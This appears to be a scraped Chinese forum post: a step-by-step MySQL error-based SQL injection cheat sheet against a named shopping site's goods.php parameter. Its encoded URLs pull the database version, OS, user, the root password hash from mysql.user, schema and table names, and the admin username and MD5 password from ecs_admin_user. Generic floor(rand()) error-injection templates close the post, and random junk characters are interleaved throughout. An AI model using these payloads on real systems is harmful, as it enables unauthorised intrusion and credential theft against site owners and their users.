判断版本号 ! C7 ? G6 a; i" h' O* i
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23. m! q* e8 y5 D G/ w! [
& u3 N9 k* s r3 |5 x判断系统
# N1 s+ ~, }$ R: t# F9 F" |0 ~# i$ t! |
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
: ~/ @. l8 y2 ~2 o( n" `2 J; ~$ W$ D; h1 P
, w& [) N# O( d8 ~
' W# W- P, H r* G2 Q4 H
当前 user()
* g2 s p; n/ |1 g3 [/ r4 `4 c0 a, J8 k, @ O
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
' g$ I8 E2 w2 R+ w$ ^( F% _7 S' @0 O6 p5 D. U. I( r* l
& t3 Z6 D/ g5 r& }1 h0 F) w a" ^# N! r
/ z ]3 W9 Z1 `* a+ e1 `当前 database()6 I7 t- i7 ~2 h N/ N. p5 x
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23' T& Y" n) @9 Z% X* X2 i6 f& y- @( u
+ f, ~$ [& K% y$ `$ g4 H! G: V; v* i- ~9 P, |7 T1 z" v8 ^; Q0 {0 h
, n0 ]- N. x( e
% l6 `5 C7 P4 @6 s* ^
root hash: s* N$ I, ]1 h$ P
- ]: {( h' u9 U+ }: d
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
# N" c2 Y8 U3 x( l9 X" n
. k% @* x! n8 a0 P. ?$ d. e
0 h( Q7 Q6 z/ R& N0 Q7 z3 j9 m {9 N# m+ I
当前 数据库表名
! ?+ R; F# m8 E" X/ o$ `8 S7 J/ C; i( I. u
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%235 _- {/ l q8 X) z
+ O, m& y7 D! d. \) k
: B6 @" T" [3 q; c+ d
0 ?: N0 H- q+ F1 L当前 数据库 user_name 字段- v3 ?9 a- C# s
3 g8 z0 Y/ L9 K) x/ y# P. i4 U
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23: f( S0 O& X9 c6 C5 ~: t
% s3 v( G+ p: y5 n* [' ~3 y$ J% s7 c3 J当前 数据库 字段 password
% G; m! o9 q2 ]' j( Qhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23+ J |, i" M0 d" A
1 I% a: M* o( @/ X# z: Y- C
5 D' O+ r9 q7 A
3 v1 O1 C I) P& \2 Z9 M* c( y获得 admin passwd(md5)" f1 O6 }1 A' A, R
. f5 b5 w3 y0 Y" u: A
+ X3 T; M+ m' I7 v) a5 k
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23 O" M I! B+ b. r/ m! S M( E. B
; }, K g6 \- Y+ `' E报错注射
- F: b% h: S" _' U6 P4 sSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
! ?* `4 B8 R. c# x5 M; _( y0 X! Q3 A4 T: x& B u
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a) j0 h. S6 z* n+ `
# X- v4 F0 ?+ E7 A! V/ m* k
and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) |